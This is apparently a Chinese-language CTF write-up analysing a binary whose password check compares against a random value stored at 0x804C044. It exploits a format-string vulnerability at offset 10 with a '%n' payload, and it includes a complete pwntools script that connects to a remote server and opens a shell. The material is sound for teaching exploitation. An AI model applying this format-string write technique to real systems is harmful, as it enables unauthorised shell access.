分析伪代码
程序一开始会读取/dev/urandom文件中内容并放到全局变量&dword_804C044中,即读取4字节的随机数存放到0x0804C044,并且存在格式化字符串漏洞,最后要求用户再输入一次密码,随后对输入的字符串转换为整数进行if逻辑判断。

格式化字符串偏移为10

所以可以利用格式字符漏洞对内存完成修改
payload = p32(target) + b"%10$n"
其中会以小端序的形式发送\x44\xC0\x04\x08%10$n,并存储在buf缓冲区,随后程序会调用printrf打印缓冲区上的内容,当打印到%10$n时,会将当前以输入的字节数(也就是4)存放到第十个参数的未知,也就是0x804C044,因此,printf会将0x804C044内存中写入4,在之后的最后一次输入中,用户仅需输入4即可GetShell
Exploit:
from pwn import *
p = remote("49.232.142.230", 19321)
target = 0x804C044
payload = p32(target) + b"%10$n"
p.sendlineafter(b"your name:", payload)
p.sendlineafter(b"your passwd:", b"4")
p.interactive()